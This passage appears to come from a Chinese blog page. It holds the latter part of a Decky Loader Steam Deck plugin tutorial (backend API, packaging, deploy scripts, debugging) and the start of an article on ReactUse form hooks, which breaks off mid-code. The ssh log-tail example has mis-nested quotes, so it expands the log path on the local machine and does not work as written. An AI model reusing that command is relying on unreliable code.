    "timer_event",
    (a, b, c) => {
      toaster.toast({ title: "timer_event", body: `${a}, ${b}, ${c}` });
    },
  );

  return {
    name: "Test Plugin",
    titleView: <div className={staticClasses.Title}>Decky Example Plugin</div>,
    content: <Content />,
    icon: <FaShip />,
    onDismount() {
      // 插件可以热重载,必须在卸载时注销监听/路由/补丁
      removeEventListener("timer_event", listener);
    },
  };
});

关键心智模型:

  1. definePlugin(factory) 返回的对象就是插件的形状。最常用的四个字段:titleViewcontenticononDismount。如果你还要注册自定义路由,就在 factory 里调 routerHook.addRoute(...),并在 onDismount 里对应地 removeRoute
  2. 交互控件优先来自 @decky/uiPanelSectionPanelSectionRowButtonItemToggleFieldFocusableSidebarNavigation 等等。这些组件已经处理好了手柄聚焦、主题色跟随、与 Steam CSS 的兼容性。展示型 <div> 可以用,但可点击、可选择、可滚动的自定义元素要包进 Focusable,否则手柄模式下很容易失焦。
  3. 通信只有两种形态
    • 前端 → 后端callable<[Args], Ret>(name) 生成一个强类型 RPC 代理;
    • 后端 → 前端:Python 里 await decky.emit("event_name", ...),前端用 addEventListener 订阅。
  4. onDismount 是热重载的保命符。Decky Loader 允许在设置里单独重载某个插件,不清理监听会残留"幽灵事件",页面一刷新就会看到重复 toast。要意识到 Decky 的"热重载"只重启 Python 后端进程并重新注入前端 bundle,CEF 全局状态(window.*、定时器、React Portal)不会被清理——所以不光要 removeEventListener,凡是你挂到全局对象上的字段、注册的 setIntervalrouterHook.addRoute 的路由,全都要在 onDismount 里显式回收。

💡 语法细节:callable<[first: number, second: number], number>(...) 里的 [first: number, second: number] 是 TypeScript 4.0+ 引入的带标签元组类型,只影响 IDE 提示(参数名悬浮),不是 Decky 特殊 DSL,也不参与运行时。如果你觉得啰嗦,写成 callable<[number, number], number>(...) 完全等价。

后端运行时:main.pydecky.pyi 与目录约定

Python 入口

模板的 main.py 展示了后端的所有骨架:

# main.py
import os
import asyncio
import decky


class Plugin:
    """Decky Loader 通过反射加载这个固定名字的类。"""

    async def add(self, left: int, right: int) -> int:
        """简单的同步风格 RPC:返回两数之和。"""
        return left + right

    async def long_running(self):
        """演示:异步任务 + 通过事件向前端回传结果。"""
        await asyncio.sleep(15)
        await decky.emit("timer_event", "Hello from the backend!", True, 2)

    async def start_timer(self):
        """被前端通过 callable('start_timer') 触发。"""
        self.loop.create_task(self.long_running())

    async def _main(self):
        """插件进入时调用一次,适合做初始化/读配置。"""
        self.loop = asyncio.get_event_loop()
        decky.logger.info("Hello World!")

    async def _unload(self):
        """被停用/热重载时调用,清理资源但保留设置。"""
        decky.logger.info("Goodnight World!")

    async def _uninstall(self):
        """彻底卸载时调用,做最终清理。"""
        decky.logger.info("Goodbye World!")

    async def _migration(self):
        """迁移历史目录/配置;由 Loader 在 `_main` 之前自动调用一次。"""
        decky.migrate_logs(os.path.join(
            decky.DECKY_USER_HOME, ".config", "decky-template", "template.log"))
        decky.migrate_settings(
            os.path.join(decky.DECKY_HOME, "settings", "template.json"),
            os.path.join(decky.DECKY_USER_HOME, ".config", "decky-template"))
        decky.migrate_runtime(
            os.path.join(decky.DECKY_HOME, "template"),
            os.path.join(decky.DECKY_USER_HOME, ".local", "share", "decky-template"))

提炼几条容易踩的坑:

  • 类名必须叫 Plugin,Decky Loader 通过字符串反射拿它,改了就起不来。
  • 所有对外方法都必须是 async,哪怕是同步操作。Decky Loader 会 await 每一次 RPC。
  • 方法参数和返回值必须是 JSON-safe(基本类型、dictlist)。想要类型提示就用 TypedDict
  • 生命周期钩子_main_unload_uninstall_migration 四个,命名固定、全部可选。其中 _migration 由 Decky Loader 在 _main 之前自动调用一次,不需要(也不应该)在 _main 里再手动调用。模板里把这些都写全了,可以作为"要不要支持这个行为"的 checklist。
  • _migration 的幂等原则:不要靠版本号,而是看目标字段/目录是否已经存在,用户可能跨多个版本升级。

decky 模块:一个"受约束的标准库"

模板里附带一份 decky.pyi —— 它是 Decky Loader 注入到 Python 进程里的 decky 模块的类型存根。读它等于读了一份后端能用的 API 清单。

📌 常量 vs 环境变量:下表中以 DECKY_ 开头的项同时以 decky.XXX 常量和 os.environ["XXX"] 环境变量两种形式存在。二者内容一致,但在你自己 subprocess.Popen 启动的子进程(例如 C/Rust 编出来的后端)里 只能 通过环境变量拿到——decky 模块不会被自动继承下去。

常量 / 函数 含义
decky.HOME / decky.USER 当前进程的 HOME 与用户名(受 _root 影响)
decky.DECKY_USER_HOME 真正的 deck 用户家目录,/home/deck
decky.DECKY_HOME ~/homebrew,Decky 自己的根目录
decky.DECKY_PLUGIN_DIR 当前插件解压后的根目录
decky.DECKY_PLUGIN_NAME 当前插件名,来自 plugin.json
decky.DECKY_PLUGIN_VERSION / DECKY_PLUGIN_AUTHOR 版本号、作者;上报遥测或日志时比硬编码好
decky.DECKY_VERSION Decky Loader 自身版本,做兼容性判断用
decky.DECKY_PLUGIN_SETTINGS_DIR 推荐写配置的位置,已由 loader 自动创建
decky.DECKY_PLUGIN_RUNTIME_DIR 推荐写运行时数据(缓存、临时文件)
decky.DECKY_PLUGIN_LOG_DIR 推荐写持久日志
decky.DECKY_PLUGIN_LOG 主日志文件路径
decky.logger 已绑定到上面日志文件的 logging.Logger
decky.emit(event, *args) 向前端推事件
decky.migrate_settings / _runtime / _logs 分别迁移配置/运行时/日志到约定目录
decky.migrate_any(target_dir, *sources) 上面三者的通用版:把任意旧路径搬到指定目标目录,用于不属于三类标准目录的数据

一条很关键的规则:不要往 DECKY_HOME 之外写任何东西。写 /etc/usr/local 这类路径即使拿到了 _root 也会被商店审核打回来,而且 SteamOS 下次更新会把只读分区整个覆盖掉。

带原生后端:backend/ 目录

如果你需要 C/C++/Rust/Go 编出的二进制(例如调用底层驱动),就把源码放进 backend/src/,再写一个 Makefile 把产物丢进 backend/out/。模板里的 backend/Makefile 简化到极致:

all: hello

hello:
mkdir -p ./out
gcc -o ./out/hello ./src/main.c

.PHONY: clean
clean:
rm -f hello

⚠️ 模板 backend/Makefileclean 规则与实际产物路径不一致rm -f hello 想删的是 backend/hello,但产物实际在 backend/out/hello——这条规则在模板里是个 no-op。套到实际项目时,改成 rm -rf ./out 或精确删除 ./out/<binary>

Dockerfile 使用官方提供的 holo 基础镜像(还有 holo-toolchain-rust / holo-toolchain-go 变体),entrypoint.sh 里只做一件事:cd /backend && make。Decky CLI 在构建插件时会 docker run 这个镜像,得到的 backend/out/* 会被拷贝到最终 zip 的 bin/ 下,插件运行时通过 os.path.join(decky.DECKY_PLUGIN_DIR, "bin", "hello") 调用。

这么做的好处是构建环境和 Steam Deck 完全一致,避免了"在 Ubuntu 编出来扔到 Deck 上找不到 glibc"的经典问题。

第三方依赖:py_modules/

SteamOS 的 /usr 是只读的,你没法 pip install 到系统 Python。社区约定的做法是:把第三方 Python 包 vendored 进 py_modules/,Decky Loader 会自动把这个目录加入 sys.path。模板里留了一个 .keep 占位,开发时你只需要 pip install --target=py_modules xxx 即可。

静态文件:defaults/

defaults/defaults.txt 的注释里说得很清楚:这个目录里的内容会被原样打进插件根目录。常见用途:默认 CSS 主题、种子配置、离线资源。注意它不能把文件铺到任意路径,只能放在插件目录内部。

开发工作流:.vscode/ 的一套"远程开发套件"

这是很多教程一笔带过、但对日常体验最友好的部分。模板的 .vscode/ 目录里是一套把"本地改代码"连接到"Steam Deck 上重载运行"的脚本。核心文件:

文件 作用
tasks.json 声明 VS Code 任务:setup / build / deploy / builddeploy / restartdecky
setup.sh 首次初始化:检测 pnpm、Docker,下载 Decky CLI
config.sh 校验是否已有 .vscode/settings.json,没有就复制 defsettings.json
build.sh 调用 Decky CLI 把当前目录打成符合商店规范的 zip
defsettings.json Deck 的 IP / 用户名 / 密码 / 插件名等默认值

首次设置

打开 VS Code 后运行 setup 任务,它会按顺序:

  1. 执行 setup.sh,检查 pnpm 与 Docker——Docker 只会检测是否存在并给出安装提示(不会替你装),pnpm / Decky CLI 则是辅助安装或下载缺失文件;
  2. 执行 pnpm i
  3. 执行 updatefrontendlib,把 @decky/ui 升到最新。

然后 config.sh 会拷贝 defsettings.json 生成 .vscode/settings.json

⚠️ 先看这里再复制:模板里的 deckpass: "ssap" 只是占位值,不要把真实密码写进生成的 .vscode/settings.json 再提交到仓库。推荐的做法是生成一对 SSH key(ssh-keygen 然后 ssh-copy-id deck@steamdeck.local),把 deckpass 留空,靠 deckkey 指定的私钥免密登录;部署脚本里的 sudo -S 几处确实还需要密码,但至少 ssh 本身不再依赖明文。模板 .gitignore 默认忽略了 .vscode/settings.json,但很多人会"一不小心" git add -f 上去——养成 git diff --cached 再提交的习惯。

{
    "deckip":     "steamdeck.local",
    "deckport":   "22",
    "deckuser":   "deck",
    "deckpass":   "",
    "deckkey":    "-i ${env:HOME}/.ssh/id_rsa",
    "deckdir":    "/home/deck",
    "pluginname": "Example Plugin",
    "python.analysis.extraPaths": ["./py_modules"]
}

把前几项改成你自己的 Deck 配置。首次连接前需要在桌面模式用 passwd 给 deck 用户设个密码(SteamOS 默认无密码),然后 ssh-copy-id 推公钥上去,之后就可以把 deckpass 清空了。

一条命令从代码到 Deck

build 任务会:

  1. 跑完上面的 setup + settingscheck

  2. 执行 build.sh,里头只有一行核心:

    sudo -E $CLI_LOCATION/decky plugin build $(pwd)
    

    Decky CLI 会读 plugin.json,跑 backend/Dockerfile 编原生后端,再把 dist/main.pyplugin.json 等打成 zip 塞进 out/

deploy 任务负责把 zip 传到 Deck:

  1. chmodplugins:在 Deck 上 chown 插件目录,避免 rsync 时因为只读报错;
  2. copyziprsyncout/*.zip 上传;
  3. extractzip:在 Deck 上 bsdtar -xzpf 解压到 ~/homebrew/plugins/<pluginname>/

组合任务 builddeploy 一键完成编译 + 上传 + 解压,再配上 restartdeckysudo systemctl restart plugin_loader)就完成了"改代码 → 一个快捷键 → Deck 上看效果"的闭环。

如果你不用 VS Code,其实只要直接调用 pnpm run build + Decky CLI + rsync 就能复刻同样的流程。整套脚本真正的价值在于把开发者常用的远程操作做成了自包含、幂等的 shell 脚本,可读性很高,推荐逐字读一遍。

打包与分发:插件 zip 的目录结构

上面 .vscode/ 那套脚本本质上就是 CI 流水线的"本地版"——跑的都是同一条 decky plugin build。搞懂本地产物长什么样,再把同一段 shell 搬到 GitHub Actions 里就是 CI。当你准备把插件交给用户或提交到 decky-plugin-database 时,zip 的结构是有严格约束的:

pluginname-v1.0.0.zip
└── pluginname/
    ├── bin/              (可选,原生后端的产物)
    │   └── <binary>
    ├── dist/
    │   └── index.js      (必需)
    ├── package.json      (必需)
    ├── plugin.json       (必需)
    ├── main.py           (必需,如果用了 Python 后端)
    ├── README.md         (建议)
    └── LICENSE(.md)      (提交商店时必需)

几条硬性规则:

  • LICENSE 随包分发:插件商店(decky-plugin-database)的 README 重点在于"如果许可证要求随源码/二进制一起分发,商店不会接受缺少许可证的提交"——换言之,是否必需取决于你选的许可证本身。官方 zip 目录结构列表把它标为 required,最保险的做法仍是把 LICENSE 放仓库根目录,由打包流程自动复制进 zip;
  • zip 内有且仅有一个同名顶层目录,Decky Loader 就是靠这个目录名识别插件;
  • dist/index.js 是唯一入口,所有前端代码都必须打进这一个文件;
  • bin/ 下的二进制要可执行,打包脚本会自动 chmod,但你本地 rsync 调试时得注意权限。

用户侧安装需要先在 Decky Loader 的设置里打开 Developer Mode,之后会多出两个安装入口:

  • Install Plugin from URL:粘贴一个指向 zip 的公开直链即可,Loader 会自行下载并解压。CI 产物最常见的做法是配合 nightly.link 暴露 GitHub Actions artifact,用户一行地址就能装上最新开发版;
  • Install Plugin from ZIP File:把本地 zip 丢进去,适合离线分发或内部测试。

如果非要手动处理文件,不是把 zip 原样丢进 ~/homebrew/plugins,而是把它解压成 ~/homebrew/plugins/<plugin-dir>/ 这种目录结构后再重启 loader。

提交商店前的最小自检

正式向 decky-plugin-database 提交 PR 前,建议过一遍这份 checklist,能挡住绝大多数一眼驳回:

  • zip 内的顶层目录名未与 decky-plugin-database 已收录的插件目录冲突;
  • 未启用 _root / root,或在 PR 描述里解释必要性;
  • LICENSE 文件随 zip 分发,且与仓库实际许可证一致;
  • CI 产物能通过 nightly.link 公开直链下载(方便审核者复现);
  • README 标明了支持的 Decky Loader 版本下限;
  • zip 内只有一个pluginname 一致的顶层目录,没有多余 dotfile(.DS_Store / .git/ / node_modules/)。

调试与排错

插件一旦跑起来就很容易"卡在某一层"——前端白屏、按钮点了没反应、后端一启动就崩。按照数据流向从上到下排查最省时间。

前端:CEF DevTools

Steam Deck 开启开发者模式后,Steam 客户端会把 CEF 的远程调试端口开在 http://<deck-ip>:8081(Decky Loader 自带的 scripts/deckdebug.sh 就是这么约定的)。用桌面 Chrome 访问这个地址,找到对应的 Steam UI 页面点进去,就是熟悉的 DevTools:断点、Console、Network、React DevTools 都能用。

几个高频场景:

  • callable(...) 调用没反应:在 DevTools 里 await 那个代理函数看返回值——后端抛异常时 callable 返回的 Promise 会 reject,必须 try/catch,否则 UI 只会静默失败;
  • addEventListener 收不到事件:事件名是字符串匹配,前后端拼写必须完全一致;同时确认后端的 decky.emit 是在 _main 之后被调用的,_main 之前 emit 会丢;
  • 白屏但没报错:多半是 definePlugin 的 factory 里同步抛了异常,Loader 只会静默跳过。把 factory 内容用 try/catch 包一层,错误写进 console.error

后端:日志与直接运行

后端的 print 会写到 Decky Loader 的主日志,混在所有插件输出里很难找。decky.logger 代替 print:它已经绑定到 DECKY_PLUGIN_LOG 指向的文件。需要注意的是,Decky Loader 每次启动插件时会按时间戳新开一份 .log 文件,DECKY_PLUGIN_LOG 常量指向的就是"本次启动的那一份"(而不是固定的 plugin.log),decky.logger 也写入这同一个文件。所以查看时要按修改时间排序拿最新一份。常用方式:

# 1. SSH 到 Deck 上,按修改时间挑最新一份 tail
ssh deck@steamdeck.local \
  "LOG=$(ls -t ~/homebrew/logs/<plugin-dir>/*.log | head -n1) && tail -f "$LOG""

# 2. Decky Loader 设置 → Developer → Plugin Logs 里点插件名

如果插件根本起不来(UI 侧边栏里看不到图标),走这个顺序:

  1. ~/homebrew/services/PluginLoader/PluginLoader.log,Loader 加载插件失败的 traceback 在这里;
  2. 本地先用 python3 -m py_compile main.py 做一次语法检查;真正的运行期问题(尤其是 import decky 立刻失败)不能ssh 到 Deck 上直接跑 python3 main.py 复现——decky 模块是 Loader 在启动插件进程时注入到 sys.modules 的,裸跑会立刻在 import 阶段就失败,误导排查。要么看 Loader 自身和插件日志,要么自己写一个 harness 预先把 decky 环境伪造进 sys.modules 再跑;
  3. sudo systemctl status plugin_loader 看 Loader 自身是否健康,偶尔 SteamOS 更新会把 service 搞挂。

常见"看起来很诡异"的故障

  • Steam 客户端更新后插件白屏:大概率是你劫持的内部 React 组件换了结构或 CSS 类名变了。先看 console.error,再用 React DevTools 对比 DOM 结构;长期方案是避开 afterPatch 深层注入,改用 @decky/ui 官方组件;
  • 改代码后 Deck 上没变化:检查 builddeploy 是否真的跑完、restartdecky 是否执行;有时候 rsync 被 Deck 上只读文件系统拦下来,表现为静默失败;
  • 原生后端 exec 报 Permission deniedbin/ 里的二进制丢了可执行位,chmod +x 或重新 builddeploy 一次。

模板没覆盖、但很快会遇到的事

读完这套模板,你已经具备一个可运行的"Hello World"。真正做产品化还有几个常见话题:

  1. 国际化:Decky 并没有官方 i18n 方案,社区做法是在 src/data/i18n/*.json 下放翻译,封装一个 t(key, fallback),第一次使用时读 window.LocalizationManager 拿当前 UI 语言。
  2. 持久化配置:官方早期插件普遍依赖一个叫 settings.py 的小库(可以从其它插件仓库里复制一份到 py_modules/settings.py),它把 JSON 配置落到 DECKY_PLUGIN_SETTINGS_DIR,两行代码搞定读写。
  3. 调用 Steam 内部 APISteamClient.* 是 Steam 客户端在 CEF 里挂的全局对象,能拿到游戏列表、启动参数、好友状态等。没有官方文档,类型定义主要散落在 @decky/ui 以及社区反向工程的仓库里,写的时候务必做 undefined 判断。
  4. 打补丁 / 注入 UI@decky/ui 导出了 afterPatchfindInReactTreefindModuleByExport 等工具,用来劫持 Steam 自己的 React 组件(例如在游戏右键菜单加一项)。这类代码对 Steam 客户端版本非常敏感,最好写好 try/catch 和 fallback,一次更新就可能失效。
  5. 调用原生二进制:想在 Python 后端里调 backend/out/ 编出的程序,用 asyncio.create_subprocess_execsubprocess.run 更合适——不阻塞事件循环,能 await proc.communicate() 拿 stdout/stderr;路径用 os.path.join(decky.DECKY_PLUGIN_DIR, "bin", "<name>") 拼,别写死。
  6. 长任务取消asyncio.create_task 返回的 Task 存起来,前端要中止时通过一个 cancel_* RPC 调 task.cancel();任务里用 try/except asyncio.CancelledError 做清理。
  7. 并发共享状态:多个前端 RPC 可能并发进来(手柄连点、多个面板同时打开)。改共享状态前套 asyncio.Lock,比事后 debug 竞态快得多。配置落盘同理,建议用 tempfile.NamedTemporaryFile 写完后 os.replace 原子替换,而不是直接 open(path, 'w')——Steam Deck 电量耗尽的一瞬间,json.dump 写了一半会留下一个损坏的配置文件,下次启动插件就直接炸了。
  8. CI 发布GitHub Actions + softprops/action-gh-release 是社区常用方案:push 到 main 打一个 artifact(可以用 nightly.link 给用户分发开发版),打 tag 时自动生成 Release 和 zip。

写在最后

从一个模板出发理解 Decky,其实就是记住这四层:

  1. plugin.jsonpackage.json 声明"我是谁";
  2. src/index.tsx + definePlugin 提供嵌入 Steam 的 UI;
  3. main.py + decky 模块提供受约束的后端能力;
  4. .vscode/backend/、Decky CLI 把开发到发布的流程串起来。

等这四层在你脑子里跑通了,就可以大胆扔掉模板、按自己的审美重组代码 —— 你做的事情本质上只是在 Steam 客户端里塞一个 React 组件,以及在 Deck 上跑一个 Python 小服务。

参考资源:

React 表单处理:防抖校验、自动保存草稿与受控输入

2026年5月8日 10:43

表单是每个 React 应用里被重写次数最多的部分。第一天看上去再简单不过——丢一个 <input>,把 onChange 接到 useState,发版。到了第三个月,同一个表单上多了异步用户名校验、一份自动保存的草稿、一个自定义日期浮层,以及一个必须和设计系统配合好的"受控/非受控"开关。每一项都拖进来自己的临时状态机、自己的 effect 清理逻辑,以及自己那一堆边界情况。表单文件成了仓库里最长的那一个,团队里没人愿意碰它。

本文将走过四个非平凡表单迟早都会用到的原语:用一个防抖值来限流异步校验、用一个"受控或非受控"包装让组件两种用法都接受、用 localStorage 撑起一份能在刷新中存活的草稿,以及一个不会泄漏监听器的"点击外部关闭"浮层方案。每一个原语,我们都会先写手动版本,把代价摆出来,再换成 ReactUse 中专门的 Hook。最后我们把四个 Hook 组合成一个完整的"账户设置"表单:边输入边校验、自动保存草稿、还包含一个国家选择浮层。

1. 防抖的异步校验

手动实现

异步校验最经典的错误,是每敲一个键就发一次请求。经典的修法是 setTimeout,经典的 bug 是忘了清理上一次的定时器:

import { useEffect, useState } from "react";

function ManualUsernameField() {
  const [username, setUsername] = useState("");
  const [debounced, setDebounced] = useState("");
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    const id = setTimeout(() => setDebounced(username), 400);
    return () => clearTimeout(id);
  }, [username]);

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

这里有两个 effect,干着两件不同的事,还必须保持同步。第一个是防抖器:把 username 的密集变化压成一个延迟后的 debounced 值。第二个是请求执行器:当 debounced 变化时发请求,并忽略掉过期返回。两个 effect 都需要自己的清理逻辑。忘了 clearTimeout,请求会重复;忘了 cancelled 标志,竞态会让旧响应覆盖新响应。

真正的代价不是行数——而是这段防抖逻辑被焊死在了这个具体字段上。要在 email 字段复用同样的能力,就得复制粘贴这五行。

ReactUse 的写法:useDebounce

useDebounce 返回一个比输入值落后固定延迟的值:

import { useEffect, useState } from "react";
import { useDebounce } from "@reactuses/core";

function UsernameField() {
  const [username, setUsername] = useState("");
  const debounced = useDebounce(username, 400);
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

第一个 effect——专管防抖的那个——消失了。useDebounce 自己接管了定时器和清理。剩下的代码才是真正属于你这个表单的部分:当防抖值变化时跑一次校验请求,并丢弃过期返回。

这个 Hook 还和函数版的 useDebounceFn 天然搭配——当你想给的是一个事件处理器(比如"失焦保存")而不是一个值时,就用它。

2. 受控还是非受控——选一种,两种都支持

手动实现

库组件经常面对一个老问题:消费者应当传 valueonChange,还是让组件内部用 defaultValue 自己管状态?老实说答案是"看谁用"。大多数团队都得在每个字段上重新发明一遍这个模式:

function ManualToggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const isControlled = value !== undefined;
  const [internal, setInternal] = useState(defaultValue);
  const current = isControlled ? value : internal;

  const handleClick = () => {
    const next = !current;
    if (!isControlled) setInternal(next);
    onChange?.(next);
  };

  return (
    <button role="switch" aria-checked={current} onClick={handleClick}>
      {current ? "开" : "关"}
    </button>
  );
}

模式本身不复杂,但它是一块吸 bug 的磁铁。如果消费者中途把 value 切回 undefined,模式就在受控和非受控间跳了一次。如果他们传了 value 却没传 onChange 呢?React 自己的表单输入会对这两种情况都给出警告,但自定义组件几乎从不写这些校验——而当设计系统不断扩张,每一个 input、switch、slider、date picker 都会复制一遍这堆样板。

ReactUse 的写法:useControlled

useControlled 把整个模式塌缩成一个 Hook 调用:

import { useControlled } from "@reactuses/core";

function Toggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [current, setCurrent] = useControlled({
    value,
    defaultValue,
    onChange,
  });

  return (
    <button
      role="switch"
      aria-checked={current}
      onClick={() => setCurrent(!current)}
    >
      {current ? "开" : "关"}
    </button>
  );
}

这个 Hook 替你做了三件你本来要自己写的事:

  1. 首次渲染时定型——决定是受控还是非受控,如果之后模式翻转就给出警告,和 React 内置 input 的诊断口径一致。
  2. 返回一个稳定的 setter,内部根据模式分支:非受控时更新内部状态;受控时只调 onChange,让父组件去重新渲染。
  3. 始终反映最新的事实。元组的第一个元素在受控时是 value、非受控时是内部状态,消费者永远不会看到不一致。

把它丢进设计系统里任何 input 形状的组件,从此不再为这个模式分心。

3. 自动保存表单草稿

手动实现

长表单——引导流、设置页、内容编辑器——绝不该让用户的工作毁于一次刷新。标准做法是把表单状态镜像到 localStorage;标准的失误是每敲一下键就写一次:

function ManualDraftForm() {
  const [draft, setDraft] = useState(() => {
    if (typeof window === "undefined") return { title: "", body: "" };
    const raw = localStorage.getItem("post-draft");
    return raw ? JSON.parse(raw) : { title: "", body: "" };
  });

  useEffect(() => {
    localStorage.setItem("post-draft", JSON.stringify(draft));
  }, [draft]);

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft((d) => ({ ...d, title: e.target.value }))}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft((d) => ({ ...d, body: e.target.value }))}
      />
    </form>
  );
}

这十五行里藏着三个问题。第一,惰性初始化会在挂载时读一次 localStorage,但不会在另一个标签页更新它时再读——多标签页编辑会安静地翻车。第二,JSON.parse 遇到损坏数据会抛错,组件就在挂载时崩了。第三,localStorage.setItem 是同步的,每次渲染都跑一次,对一个手快的用户而言会顶住主线程。

最上面那行 SSR 检查就是个信号:这是一段会被仓库里其它组件复制过去、并大概率写错的"配方"。

ReactUse 的写法:useLocalStorage

useLocalStorage 长得像 useState、用起来也像 useState,但值住在存储里:

import { useLocalStorage } from "@reactuses/core";

function DraftForm() {
  const [draft, setDraft] = useLocalStorage("post-draft", {
    title: "",
    body: "",
  });

  return (
    <form>
      <input
        value={draft.title}
        onChange={(e) => setDraft({ ...draft, title: e.target.value })}
      />
      <textarea
        value={draft.body}
        onChange={(e) => setDraft({ ...draft, body: e.target.value })}
      />
    </form>
  );
}

手动版本搞错或漏掉的四件事,这个 Hook 都帮你做好了:

  1. SSR 安全初始化。在服务端返回默认值;客户端首次渲染时无失配地完成水合。
  2. 跨标签页同步。监听 storage 事件,当另一个标签页写入同一个键时同步状态。
  3. JSON 容错。捕获解析错误并退回默认值,不再让组件崩溃。
  4. 稳定的 setter。返回的 setter 引用稳定,可以安全地放进 useEffect 依赖或 memo 化的子组件里。

对真的很长的表单,常常想要"自动保存 + 防抖"。把第一节的 useDebounce 搭进来——先防抖表单状态,再把防抖后的值写进存储——你就得到一个能在刷新中存活、又不会捶硬盘的编辑器。

4. 用"点击外部"关闭浮层

手动实现

国家选择器、日期选择器、自动补全菜单,以及一切浮在页面上的东西,都得在用户点别的地方时关掉自己。教科书式的实现是在 document 上监听:

function ManualPopover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const ref = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (!open) return;
    const handler = (e: MouseEvent) => {
      if (ref.current && !ref.current.contains(e.target as Node)) {
        setOpen(false);
      }
    };
    document.addEventListener("mousedown", handler);
    return () => document.removeEventListener("mousedown", handler);
  }, [open]);

  return (
    <div ref={ref} style={{ position: "relative" }}>
      <button onClick={() => setOpen((v) => !v)}>切换</button>
      {open && <div className="popover">{children}</div>}
    </div>
  );
}

简单场景这能跑——直到你的浮层被 portal 渲染到别处。ref.current.contains(...) 假设浮层是触发器的 DOM 后代,但真实的设计系统里几乎从来不是:浮层会被挂到 body 根节点,绕开父容器的 overflow。你还得在 mousedownclick 之间做选择(多数情况下答案是 mousedown,这样浮层会在某个下游 click 处理器触发之前就关掉),而且记得在关闭时跳过监听,免得每次页面 click 都白跑一遍。

ReactUse 的写法:useClickOutside

useClickOutside 接收一个 ref(或一组 ref)和一个处理器:

import { useRef, useState } from "react";
import { useClickOutside } from "@reactuses/core";

function Popover({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLDivElement>(null);
  const popoverRef = useRef<HTMLDivElement>(null);

  useClickOutside([triggerRef, popoverRef], () => setOpen(false));

  return (
    <>
      <div ref={triggerRef}>
        <button onClick={() => setOpen((v) => !v)}>切换</button>
      </div>
      {open && (
        <div ref={popoverRef} className="popover">
          {children}
        </div>
      )}
    </>
  );
}

支持 ref 数组的形式,正是它能搞定 portal 浮层的关键:把触发器和浮动面板都标成"内部",点其它地方就触发处理器。Hook 也替你处理 mousedown 的选择,监听器只在 document 层挂一次(不会在每个组件里来回挂卸),并在卸载时清理干净。

它还有一个相近的兄弟 useClickAway——API 略有不同,适合只有单个 ref 的场景,按你组件里读起来更顺的那个挑就行。

组合在一起:账户设置表单

下面是一个完整的账户设置表单,把四个 Hook 都用上了。用户名边输入边校验。整个表单自动保存到 localStorage。通知开关是受控/非受控两可的组件。国家选择器是个对 portal 友好、点击外部就关的浮层。

import { useEffect, useRef, useState } from "react";
import {
  useDebounce,
  useControlled,
  useLocalStorage,
  useClickOutside,
} from "@reactuses/core";

interface Settings {
  username: string;
  country: string;
  notifications: boolean;
}

const COUNTRIES = ["中国", "日本", "德国", "巴西", "印度"];

function NotificationSwitch({
  value,
  defaultValue = true,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [on, setOn] = useControlled({ value, defaultValue, onChange });
  return (
    <button
      type="button"
      role="switch"
      aria-checked={on}
      onClick={() => setOn(!on)}
      style={{
        width: 48,
        height: 24,
        borderRadius: 999,
        border: "none",
        background: on ? "#3b82f6" : "#cbd5e1",
        position: "relative",
        cursor: "pointer",
      }}
    >
      <span
        style={{
          position: "absolute",
          top: 2,
          left: on ? 26 : 2,
          width: 20,
          height: 20,
          borderRadius: "50%",
          background: "white",
          transition: "left 120ms ease",
        }}
      />
    </button>
  );
}

function CountryPicker({
  value,
  onChange,
}: {
  value: string;
  onChange: (next: string) => void;
}) {
  const [open, setOpen] = useState(false);
  const triggerRef = useRef<HTMLButtonElement>(null);
  const menuRef = useRef<HTMLUListElement>(null);

  useClickOutside([triggerRef, menuRef], () => setOpen(false));

  return (
    <div style={{ position: "relative", display: "inline-block" }}>
      <button
        ref={triggerRef}
        type="button"
        onClick={() => setOpen((v) => !v)}
        style={{
          padding: "6px 12px",
          borderRadius: 6,
          border: "1px solid #cbd5e1",
          background: "white",
          cursor: "pointer",
        }}
      >
        {value || "选择国家"} ▾
      </button>
      {open && (
        <ul
          ref={menuRef}
          style={{
            position: "absolute",
            top: "calc(100% + 4px)",
            left: 0,
            margin: 0,
            padding: 4,
            listStyle: "none",
            background: "white",
            border: "1px solid #cbd5e1",
            borderRadius: 8,
            boxShadow: "0 4px 12px rgba(0,0,0,0.08)",
            minWidth: 180,
          }}
        >
          {COUNTRIES.map((c) => (
            <li
              key={c}
              onClick={() => {
                onChange(c);
                setOpen(false);
              }}
              style={{
                padding: "6px 10px",
                borderRadius: 4,
                cursor: "pointer",
                background: c === value ? "#eff6ff" : "transparent",
              }}
            >
              {c}
            </li>
          ))}
        </ul>
      )}
    </div>
  );
}

export default function SettingsForm() {
  const [settings, setSettings] = useLocalStorage<Settings>("account-settings", {
    username: "",
    country: "",
    notifications: true,
  });

  const debouncedUsername = useDebounce(settings.username, 400);
